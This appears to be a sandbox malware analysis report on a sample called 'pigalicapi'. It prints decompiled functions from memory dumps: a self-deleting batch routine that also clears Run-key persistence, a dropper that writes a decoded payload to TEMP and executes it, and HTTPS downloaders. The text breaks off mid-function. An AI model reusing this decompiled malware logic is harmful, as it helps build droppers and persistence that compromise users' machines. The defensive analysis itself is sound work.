				wnsprintfA( &_v2364, 0x30b, ":repeat\r\ndel %s\r\nif exist %s goto :repeat\r\ndel %%0",  &_v1060,  &_v1060);
				_t124 = _t123 + 0x14;
				if( *0x401436c != 0) {
					_t86 =  *0x401436c; // 0x24c
					TerminateThread(_t86, 1);
				}
				_v528 = "software\\microsoft\\windows\\currentversion\\run";
				_v532 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v532 = 0x80000002;
				}
				_v536 = 0;
				if(RegOpenKeyExA(_v532, _v528, 0, 2,  &_v536) == 0) {
					RegDeleteValueA(_v536, "pigalicapi");
					RegCloseKey(_v536);
				}
				if(( *0x401435b & 0x000000ff) != 0) {
					E04005E30(1);
					_t124 = _t124 + 4;
				}
				GetEnvironmentVariableA("TEMP",  &_v1580, 0x104);
				GetTempFileNameA( &_v1580, "slf", GetTickCount() % 0xffff,  &_v524);
				lstrcatA( &_v524, ".bat");
				_t71 = CreateFileA( &_v524, 0x40000000, 1, 0, 2, 0, 0);
				_v540 = _t71;
				if(_v540 != 0xffffffff) {
					_v2388 = 0;
					WriteFile(_v540,  &_v2364, lstrlenA( &_v2364),  &_v2388, 0);
					E04007D20(E04007D20(CloseHandle(_v540),  &_v2384, 0, 0x10),  &_v2460, 0, 0x44);
					_v2460.cb = 0x44;
					_v2460.dwFlags = _v2460.dwFlags | 0x00000001;
					_v2460.wShowWindow = 0;
					if(CreateProcessA(0,  &_v524, 0, 0, 0, 0, 0, 0,  &_v2460,  &_v2384) != 0) {
						_t71 = CloseHandle(_v2384.hThread);
					}
					ExitProcess(0);
				}
				return _t71;
			}

APIs

Sleep.KERNEL32(000003E8), ref: 040074E4
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 04007503
GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 0400752E
lstrcatA.KERNEL32(?,0400C650), ref: 04007559
lstrcatA.KERNEL32(?,pigalicapi), ref: 0400756B
lstrcatA.KERNEL32(?,.exe), ref: 0400757D
SetFileAttributesA.KERNEL32(?,00000080), ref: 0400758F
wnsprintfA.SHLWAPI ref: 040075B4
TerminateThread.KERNEL32(0000024C,00000001), ref: 040075CE
RegOpenKeyExA.ADVAPI32(80000001,0400C690,00000000,00000002,00000000), ref: 04007620
RegDeleteValueA.ADVAPI32(00000000,pigalicapi), ref: 04007636
RegCloseKey.ADVAPI32(00000000), ref: 04007643
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 0400766F
GetTickCount.KERNEL32 ref: 0400767C
GetTempFileNameA.KERNEL32(?,slf,00000000), ref: 04007698
lstrcatA.KERNEL32(?,.bat), ref: 040076AA
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 040076C6
lstrlenA.KERNEL32(?,00000000,00000000), ref: 040076F9
WriteFile.KERNEL32(000000FF,?,00000000), ref: 0400770E
CloseHandle.KERNEL32(000000FF), ref: 0400771B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0400778C
CloseHandle.KERNEL32(?), ref: 0400779D
ExitProcess.KERNEL32 ref: 040077A5

Strings

USERPROFILE, xrefs: 04007542
pigalicapi, xrefs: 0400755F, 0400762A
TEMP, xrefs: 0400766A
.bat, xrefs: 0400769E
D, xrefs: 04007747
slf, xrefs: 0400768C
.exe, xrefs: 04007571
:repeatdel %sif exist %s goto :repeatdel %%0, xrefs: 040075A3

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$lstrcat$Close$CreateHandleNameProcess$AttributesCountDeleteDirectoryEnvironmentExitModuleOpenProfileSleepTempTerminateThreadTickUsersValueVariableWritelstrlenwnsprintf
String ID: .bat$.exe$:repeatdel %sif exist %s goto :repeatdel %%0$D$TEMP$USERPROFILE$pigalicapi$slf
API String ID: 3221898725-336785456
Opcode ID: fa5edaca191c21db1bfd21e4a2ba9e4dafc3ba9ee2ebd150ac9fab347fea4d6a
Instruction ID: 33d1a80e31bd16fda39fb1d5e61c33b6d2d8e7faa3bd40571536c86a9d597677
Opcode Fuzzy Hash: fa5edaca191c21db1bfd21e4a2ba9e4dafc3ba9ee2ebd150ac9fab347fea4d6a
Instruction Fuzzy Hash: 277134B1A44318ABF7649F60DC49FEA7778EB44705F448698B209B60C1DBBCAA84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04006DA0 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 354
memoryfilesleepCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E04006DA0(intOrPtr* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				void* _v36;
				struct _SECURITY_ATTRIBUTES* _v40;
				long _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				char _v324;
				void* _v328;
				char _v340;
				char _v604;
				long _v608;
				int _v612;
				long _v616;
				void* _v620;
				long _v624;
				intOrPtr _v628;
				void* _v632;
				intOrPtr _t198;
				struct _SECURITY_ATTRIBUTES* _t217;
				void* _t223;
				struct _SECURITY_ATTRIBUTES* _t248;
				void* _t347;
				void* _t349;
				void* _t350;

				_v8 = _a4;
				if(_v8 == 0) {
					L39:
					return 0;
				}
				Sleep( *(_v8 + 0x14) * 0x3c * 0x3e8);
				__imp__CoInitialize(0);
				_v32 =  *_v8;
				_v28 =  *((intOrPtr*)(_v8 + 4));
				_v24 =  *((intOrPtr*)(_v8 + 8));
				_v12 =  *(_v8 + 0x14);
				_v20 =  *(_v8 + 0xc);
				_v16 =  *((intOrPtr*)(_v8 + 0x10));
				if(( *(_v8 + 0xc) & 0x00000001) == 0) {
					GetEnvironmentVariableA("TEMP",  &_v604, 0x104);
					E04007D20( &_v340,  &_v340, 0, 0xa);
					E04009730( &_v340, 4);
					_t349 = _t347 + 0x14;
					GetTempFileNameA( &_v604,  &_v340, GetTickCount() % 0xffff,  &_v324);
					_v328 = CreateFileA( &_v324, 0x40000000, 1, 0, 2, 0, 0);
					if(_v328 != 0xffffffff) {
						_v608 = 0;
						_v612 = 0;
						_v616 =  *(_v8 + 0x1c);
						if(( *(_v8 + 0xc) & 0x00000010) == 0) {
							_v612 = WriteFile(_v328,  *(_v8 + 0x18),  *(_v8 + 0x1c),  &_v608, 0);
						} else {
							_v624 =  *((intOrPtr*)( *(_v8 + 0x1c) +  *(_v8 + 0x18) - 4));
							_v620 = VirtualAlloc(0, _v624, 0x3000, 4);
							if(_v620 != 0) {
								if(E04006260(_v8,  *(_v8 + 0x18),  *(_v8 + 0x1c), _v620, _v624) == _v624) {
									_v612 = WriteFile(_v328, _v620, _v624,  &_v608, 0);
									_v616 = _v624;
								}
								VirtualFree(_v620, 0, 0x8000);
							}
						}
						CloseHandle(_v328);
						if(_v612 != 0 && _v608 == _v616) {
							_t198 = E04001E60( &_v324);
							_t350 = _t349 + 4;
							_v628 = _t198;
							if(_v628 != 0) {
								if( *((intOrPtr*)(_v8 + 0x10)) != 0) {
									E040073C0( &_v32,  *(_v8 + 0x18),  *(_v8 + 0x1c));
									_t350 = _t350 + 0xc;
								}
								if(( *(_v8 + 0xc) & 0x00000004) != 0) {
									E04002510(_v628, 0x400e290);
								}
							}
						}
					}
					L38:
					__imp__CoUninitialize();
					goto L39;
				}
				_v40 = 0;
				_v36 = 0;
				_v44 = 0;
				if(( *(_v8 + 0xc) & 0x00000010) == 0) {
					_t217 = E04002070( *(_v8 + 0x18));
					_t347 = _t347 + 4;
					_v40 = _t217;
				} else {
					_v44 =  *((intOrPtr*)( *(_v8 + 0x1c) +  *(_v8 + 0x18) - 4));
					_v48 = VirtualAlloc(0, _v44, 0x3000, 4);
					if(_v48 != 0) {
						if(E04006260( *(_v8 + 0x1c),  *(_v8 + 0x18),  *(_v8 + 0x1c), _v48, _v44) == _v44) {
							_t248 = E04002070(_v48);
							_t347 = _t347 + 4;
							_v40 = _t248;
							if(( *(_v8 + 0xc) & 0x00000008) != 0) {
								_v36 = VirtualAlloc(0, _v44, 0x3000, 4);
								E04007B70(_v36, _v48, _v44);
								_t347 = _t347 + 0xc;
							}
						}
						VirtualFree(_v48, 0, 0x8000);
					}
				}
				if(_v40 == 0) {
					L22:
					goto L38;
				} else {
					if( *((intOrPtr*)(_v8 + 0x10)) != 0) {
						E040073C0( &_v32,  *(_v8 + 0x18),  *(_v8 + 0x1c));
						_t347 = _t347 + 0xc;
					}
					if(( *(_v8 + 0xc) & 0x00000008) != 0) {
						_t223 = E040097A0(0x10);
						_t347 = _t347 + 4;
						_v632 = _t223;
						_v52 = _v632;
						if(( *(_v8 + 0xc) & 0x00000010) == 0) {
							 *_v52 = VirtualAlloc(0,  *(_v8 + 0x1c), 0x3000, 4);
							if( *_v52 != 0) {
								E04007B70( *_v52,  *(_v8 + 0x18),  *(_v8 + 0x1c));
								_t347 = _t347 + 0xc;
								 *(_v52 + 4) =  *(_v8 + 0x1c);
							}
						} else {
							 *_v52 = _v36;
							 *(_v52 + 4) = _v44;
						}
						if( *_v52 != 0) {
							 *(_v52 + 8) =  *(_v8 + 0xc);
							 *((intOrPtr*)(_v52 + 0xc)) = _v40;
							_v56 = CreateThread(0, 0, E040077B0, _v52, 0, 0);
							CloseHandle(_v56);
						}
					}
					if(( *(_v8 + 0xc) & 0x00000004) != 0) {
						E04002510(_v40, 0x400e290);
					}
					goto L22;
				}
			}

APIs

Sleep.KERNEL32(?), ref: 04006DC9
CoInitialize.OLE32(00000000), ref: 04006DD1
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04006E5F
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004,00000000), ref: 04006EB5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,00000000), ref: 04006EDD
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04006F7A
CreateThread.KERNEL32 ref: 04006FE3
CloseHandle.KERNEL32(?), ref: 04006FF0
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 04007028
GetTickCount.KERNEL32 ref: 04007059
GetTempFileNameA.KERNEL32(?,?,00000000), ref: 04007077
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 04007093
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04007101
WriteFile.KERNEL32(000000FF,00000000,?,00000000,00000000,?,?,00000000,?), ref: 0400715D
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 04007183
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 040071A9
CloseHandle.KERNEL32(000000FF), ref: 040071BC
CoUninitialize.OLE32 ref: 04007239

Strings

TEMP, xrefs: 04007023

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Virtual$AllocFile$CloseCreateFreeHandleWrite$CountEnvironmentInitializeNameSleepTempThreadTickUninitializeVariable
String ID: TEMP
API String ID: 3110491842-1036413054
Opcode ID: 39e740e402b3d58b52e9657545899331c46d826c986235e8a63d4a66dd2a8cdf
Instruction ID: 2b87ebad86062e1f9aa8347128cf2fe592da7145f1ccd4accac7794ca236a0a8
Opcode Fuzzy Hash: 39e740e402b3d58b52e9657545899331c46d826c986235e8a63d4a66dd2a8cdf
Instruction Fuzzy Hash: 1FF10975A00208EFEB58DF94D984F9DB7B5BB88304F248698E509BB390D775AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04002900 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 133
networkfilestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04002900(char* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				CHAR* _v28;
				char _v292;
				void _v296;
				void* _v300;
				long _v304;
				long _v308;
				char* _t54;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_t54 =  *0x400e004; // 0x400c398
					_v12 = InternetOpenA(_t54, 1, 0, 0, 0);
					if(_v12 != 0) {
						_v16 = InternetConnectA(_v12, _a4, 0x1bb, 0x400c3d2, 0x400c3d1, 3, 0, 0);
						if(_v16 != 0) {
							_v20 = HttpOpenRequestA(_v16, "GET", "/", "1.1", 0, 0, 0x80800000, 0);
							if(_v20 != 0) {
								wsprintfA( &_v292, "https://%s", _a4);
								_v28 = "Accept: */*";
								_v24 = 4;
								InternetQueryOptionA(_v20, 0x1f,  &_v296,  &_v24);
								_v296 = _v296 | 0x0000b180;
								InternetSetOptionA(_v20, 0x1f,  &_v296, 4);
								if(HttpSendRequestA(_v20, _v28, lstrlenA(_v28), 0, 0) == 0) {
									_v308 = GetLastError();
								} else {
									_v300 = 0;
									while(_v300 < _a12) {
										_v304 = 0;
										InternetReadFile(_v20, _a8 + _v300, _a12 - _v300,  &_v304);
										if(_v304 != 0) {
											_v300 = _v300 + _v304;
											 *(_a8 + _v300) = 0;
											continue;
										} else {
										}
										break;
									}
									_v8 = _v300;
								}
								InternetCloseHandle(_v20);
							}
							InternetCloseHandle(_v16);
						}
						InternetCloseHandle(_v12);
					}
				}
				return _v8;
			}

APIs

InternetOpenA.WININET(0400C398,00000001,00000000,00000000,00000000), ref: 0400293C
InternetConnectA.WININET(00000000,00000000,000001BB,0400C3D2,0400C3D1,00000003,00000000,00000000), ref: 0400296C
HttpOpenRequestA.WININET(00000000,GET,0400C3D8,1.1,00000000,00000000,80800000,00000000), ref: 0400299D
wsprintfA.USER32 ref: 040029C0
InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 040029E8
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002A0E
lstrlenA.KERNEL32(0400C3EC,00000000,00000000), ref: 04002A1C
HttpSendRequestA.WININET(00000000,0400C3EC,00000000), ref: 04002A2B
InternetReadFile.WININET(00000000,00000000,00000000,00000000), ref: 04002A73
GetLastError.KERNEL32 ref: 04002AAF
InternetCloseHandle.WININET(00000000), ref: 04002ACB
InternetCloseHandle.WININET(00000000), ref: 04002AD5
InternetCloseHandle.WININET(00000000), ref: 04002ADF

Strings

https://%s, xrefs: 040029B4
GET, xrefs: 04002994
1.1, xrefs: 0400298A

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenOptionRequest$ConnectErrorFileLastQueryReadSendlstrlenwsprintf
String ID: 1.1$GET$https://%s
API String ID: 2082764430-1670984264
Opcode ID: cac5eb598011e3025bfd3ce525b4309c6a0d8895317d56ddd471764706ed79e9
Instruction ID: 6d54c3b05ff69590bd14da6a4fff8ed2da31e3bdf774b399ca20979b5291bdcc
Opcode Fuzzy Hash: cac5eb598011e3025bfd3ce525b4309c6a0d8895317d56ddd471764706ed79e9
Instruction Fuzzy Hash: 02510C71944218AFEB24CF94DC89BEEB7B4EB49700F108598F605B62C0C7B8AE94CF54

Uniqueness

Uniqueness Score: -1.00%

Function 040035E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 184
stringfilememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040035E0(CHAR* _a4, intOrPtr _a8) {
				long _v8;
				struct HINSTANCE__* _v12;
				char _v532;
				void* _v536;
				long _v540;
				void* _v544;
				long _v548;
				CHAR* _v552;
				void* _v556;
				int _v560;
				char _v820;
				CHAR* _v824;
				char _v1084;
				signed char _v1085;
				long _v1092;
				intOrPtr _v1096;
				long _t124;

				_v8 = 0;
				_v12 = GetModuleHandleA(_a4);
				if(_v12 != 0) {
					E04002E50( &_v532,  &_v532, 0, 0x208);
					if(GetModuleFileNameA(_v12,  &_v532, 0x207) > 0) {
						_v536 = CreateFileA( &_v532, 0x80000000, 7, 0, 3, 0, 0);
						if(_v536 != 0xffffffff) {
							_v540 = GetFileSize(_v536, 0);
							if(_v540 > 0) {
								_v544 = VirtualAlloc(0, _v540, 0x3000, 4);
								_t155 = _v544;
								if(_v544 != 0) {
									_v548 = 0;
									ReadFile(_v536, _v544, _v540,  &_v548, 0);
									_v556 = E04003370(_v536, _t155, _v544, _v540);
									_v552 = E04003580(_a8, _v556, _a8);
									_v560 = lstrlenA(_v552);
									if(_v560 > 2 && _v560 < 0x100) {
										_v824 = _v552;
										_v1085 = 0;
										E04002E50(_v552,  &_v820, 0, 0x100);
										E04002E50(_v552,  &_v1084, 0, 0x100);
										_v1092 = 0;
										while(_v1092 < _v560) {
											if(_v824[_v1092] < 0x20 || _v824[_v1092] > 0x7e) {
											} else {
												if(_v824[_v1092] != 0x2e) {
													_t124 = _v1092 + 1;
													__eflags = _t124;
													_v1092 = _t124;
													continue;
												} else {
													lstrcpynA( &_v820, _v824, _v1092 + 1);
													lstrcatA( &_v820, ".dll");
													lstrcpyA( &_v1084,  &(_v824[_v1092 + 1]));
													_v1085 = 1;
												}
											}
											break;
										}
										if((_v1085 & 0x000000ff) != 0) {
											_v8 = E040035E0( &_v820,  &_v1084);
										}
									}
									if(_v8 == 0 && _v552 != 0) {
										_v1096 = _v552 - _v556;
										_v8 = _v12 + _v1096;
									}
									VirtualFree(_v556, 0, 0x8000);
									VirtualFree(_v544, 0, 0x8000);
								}
							}
							CloseHandle(_v536);
						}
					}
				}
				return _v8;
			}

APIs

GetModuleHandleA.KERNEL32(?), ref: 040035F4
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 0400362D
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 04003651
GetFileSize.KERNEL32(000000FF,00000000), ref: 04003673
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0400369C
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 040036DD
lstrlenA.KERNEL32(?), ref: 0400371F
lstrcpynA.KERNEL32(?,?,-00000001), ref: 0400380C
lstrcatA.KERNEL32(?,.dll), ref: 0400381E
lstrcpyA.KERNEL32(?,?), ref: 0400383C
VirtualFree.KERNEL32(?,00000000,00008000), ref: 040038B3
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040038C7
CloseHandle.KERNEL32(000000FF), ref: 040038D4

Strings

.dll, xrefs: 04003812

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$Virtual$FreeHandleModule$AllocCloseCreateNameReadSizelstrcatlstrcpylstrcpynlstrlen
String ID: .dll
API String ID: 4040249471-2738580789
Opcode ID: 200bb4075ff646b41afc5d2470261fe04451761bc05d74db12b83caaac164272
Instruction ID: c2c5132629a25a5507b869beac9dac576087064a04ada7ddd23a517ed68c32e0
Opcode Fuzzy Hash: 200bb4075ff646b41afc5d2470261fe04451761bc05d74db12b83caaac164272
Instruction Fuzzy Hash: AC814EB5940228ABEB35DF50DC89BDDB7B5AB48304F1081D8EA09B7280D674AFC4CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04002AF0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 201
networkmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04002AF0(char* _a4, intOrPtr _a8, long _a12, signed char _a16) {
				long _v8;
				char _v84;
				void* _v88;
				signed int _v92;
				long _v96;
				void _v100;
				void _v356;
				long _v360;
				long _v364;
				intOrPtr _v368;
				void* _v372;
				long _v376;
				void* _v380;
				signed char _v381;
				long _v388;
				long _v392;
				void* _v396;
				char _v652;
				long _v656;
				long _v660;
				void* _t139;
				void* _t140;
				void* _t142;
				long _t149;

				_v8 = 0;
				if( *0x4013b80 == 0 || _a4 == 0 || _a8 == 0 || _a12 == 0) {
					L25:
					return _v8;
				} else {
					memcpy( &_v84, "Accept: */*\r\nAccept-Language: en\r\nAccept-Encoding: gzip, deflate\r\n", 0x10 << 2);
					asm("movsw");
					asm("movsb");
					_v92 = 0x80000200;
					if((_a16 & 0x000000ff) != 0) {
						_v92 = _v92 | 0x00803000;
						_v96 = 4;
						_t139 =  *0x4013b80; // 0x0
						InternetQueryOptionA(_t139, 0x1f,  &_v100,  &_v96);
						_v100 = _v100 | 0x00000100;
						_t140 =  *0x4013b80; // 0x0
						InternetSetOptionA(_t140, 0x1f,  &_v100, 4);
					}
					_t142 =  *0x4013b80; // 0x0
					_v88 = InternetOpenUrlA(_t142, _a4,  &_v84, 0x42, _v92, 0);
					if(_v88 == 0) {
						_v660 = GetLastError();
						goto L25;
					} else {
						_v360 = 0x100;
						E04007D20( &_v356,  &_v356, 0, 0x100);
						_v364 = 0;
						if(HttpQueryInfoA(_v88, 0x13,  &_v356,  &_v360,  &_v364) == 0) {
							L23:
							InternetCloseHandle(_v88);
							goto L25;
						}
						_v368 = E04007DD0( &_v356);
						if(_v368 != 0xc8) {
							goto L23;
						}
						_v372 = VirtualAlloc(0, _a12, 0x3000, 4);
						if(_v372 == 0) {
							goto L23;
						}
						_v388 = 0;
						_v376 = 0;
						_v380 = _v372;
						while(1) {
							InternetReadFile(_v88, _v380, _a12,  &_v376);
							if(_v376 == 0) {
								break;
							}
							_v388 = _v388 + _v376;
							_v380 = _v380 + _v376;
							_t149 = _a12 - _v376;
							_a12 = _t149;
							if(_t149 >= 0) {
								continue;
							}
							L16:
							_v8 = _v388;
							_v396 = _v372;
							_v392 = 0x100;
							E04007D20(_v388,  &_v652, 0, 0x100);
							_v381 = 0;
							if(HttpQueryInfoA(_v88, 0x1d,  &_v652,  &_v392,  &_v364) != 0 && lstrcmpiA( &_v652, "gzip") == 0) {
								_v656 = E04002E00(_v388, _v372, _v388, _a8, _a12);
								if(_v656 > 0) {
									_v8 = _v656;
									_v396 = _a8;
									_v381 = 1;
								}
							}
							if((_v381 & 0x000000ff) == 0) {
								E04007B70(_a8, _v372, _v8);
							}
							VirtualFree(_v372, 0, 0x8000);
							goto L23;
						}
						goto L16;
					}
				}
			}

APIs

InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002B72
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002B93
InternetOpenUrlA.WININET(00000000,00000000,?,00000042,80000200,00000000), ref: 04002BB0
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 04002C08
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04002C48
InternetReadFile.WININET(00000000,?,00000000,00000000), ref: 04002C97
HttpQueryInfoA.WININET(00000000,0000001D,?,00000100,00000000), ref: 04002D35
lstrcmpiA.KERNEL32(?,gzip), ref: 04002D4B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002DC8
InternetCloseHandle.WININET(00000000), ref: 04002DD2
GetLastError.KERNEL32 ref: 04002DDA

Strings

gzip, xrefs: 04002D3F
Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate, xrefs: 04002B32

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Internet$Query$HttpInfoOptionVirtual$AllocCloseErrorFileFreeHandleLastOpenReadlstrcmpi
String ID: Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate$gzip
API String ID: 2564233093-2863726208
Opcode ID: 726b61e79d92e4b1ea791cc461ac74fab5e679057ddcff3c63822b6443729a61
Instruction ID: 59e70dbda308a2a2546c0d296605ce979221f8659c43edef85f985c08622dbb4
Opcode Fuzzy Hash: 726b61e79d92e4b1ea791cc461ac74fab5e679057ddcff3c63822b6443729a61
Instruction Fuzzy Hash: 6B91FC75904218ABEB65CF94CC48BEAB7B5BB48304F50819DE609BB280DB796E84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00401A87 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00401A87(struct HWND__* _a4, struct HDC__** _a8, intOrPtr* _a12) {
				void* _v12;
				int _v16;
				struct tagPIXELFORMATDESCRIPTOR _v56;
				void* _v72;
				PIXELFORMATDESCRIPTOR* _v76;
				int _v80;
				intOrPtr _v96;
				int _t35;
				void* _t59;
				struct HDC__** _t63;

				 *_a8 = GetDC(_a4);
				memset( &_v56, 0, 0x28 << 0);
				_v56.nSize = 0x28;
				_v56.nVersion = 1;
				_v56.dwFlags = 0x25;
				_v56.iPixelType = 0;
				_v56.cColorBits = 0x18;
				_v56.cDepthBits = 0x10;
				_v56.iLayerType = 0;
				_t35 = ChoosePixelFormat( *_a8,  &_v56);
				_t63 = _t59 - 0x3c + 0xc - 8;
				_v16 = _t35;
				_v76 =  &_v56;
				_v80 = _v16;
				 *_t63 =  *_a8;
				SetPixelFormat(??, ??, ??);
				 *_a12 = wglCreateContext( *_a8);
				_v96 =  *_a12;
				 *(_t63 - 8) =  *_a8;
				return wglMakeCurrent(??, ??);
			}

APIs

GetDC.USER32 ref: 00401A95
ChoosePixelFormat.GDI32 ref: 00401AE8
SetPixelFormat.GDI32 ref: 00401B09
wglCreateContext.OPENGL32 ref: 00401B19
wglMakeCurrent.OPENGL32 ref: 00401B39

Strings

%, xrefs: 00401AC2
(, xrefs: 00401AB6

Memory Dump Source

Source File: 00000006.00000002.558505777.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.558382730.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558681103.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558864837.0000000000406000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559037175.0000000000409000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559758809.0000000000420000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_pigalicapi.jbxd

Similarity

API ID: FormatPixel$ChooseContextCreateCurrentMake
String ID: %$(
API String ID: 2475745930-93983813
Opcode ID: bd8fdc46a3119f9d830930fbf617ed2ae314094ba22175109ede142dcb2d6e48
Instruction ID: 29c35ce5724b02326a6e865684fa907032f963153ea5e9f52b2dfbce4176bea2
Opcode Fuzzy Hash: bd8fdc46a3119f9d830930fbf617ed2ae314094ba22175109ede142dcb2d6e48
Instruction Fuzzy Hash: 44210C74A057489FCB00EF69D18558EBBF1EF89314F00C469E848AB354E775EA18CB56

Uniqueness

Uniqueness Score: -1.00%

Function 100014A0 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 100014DB
SetLastError.KERNEL32(0000007F), ref: 10001507

Memory Dump Source

Source File: 00000006.00000002.606973844.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_pigalicapi.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 29cfafdec3d3a1262f4827b6cae24ea1b9a18653203c5f05ee1a645c7d2a8912
Instruction ID: 25e538b33cc42fa1af6dbc26f5ecb21efd633c51d41fb312bc782d6f26faee88
Opcode Fuzzy Hash: 29cfafdec3d3a1262f4827b6cae24ea1b9a18653203c5f05ee1a645c7d2a8912
Instruction Fuzzy Hash: 1871F874E04109EFEB08DF94C990AAEB7B2FF48345F248598E915AB345D735EE81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0400A090 Relevance: 10.6, APIs: 7, Instructions: 85
networkCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0400A090(signed int __eax, intOrPtr _a4, signed short _a8, intOrPtr _a12, char _a16) {
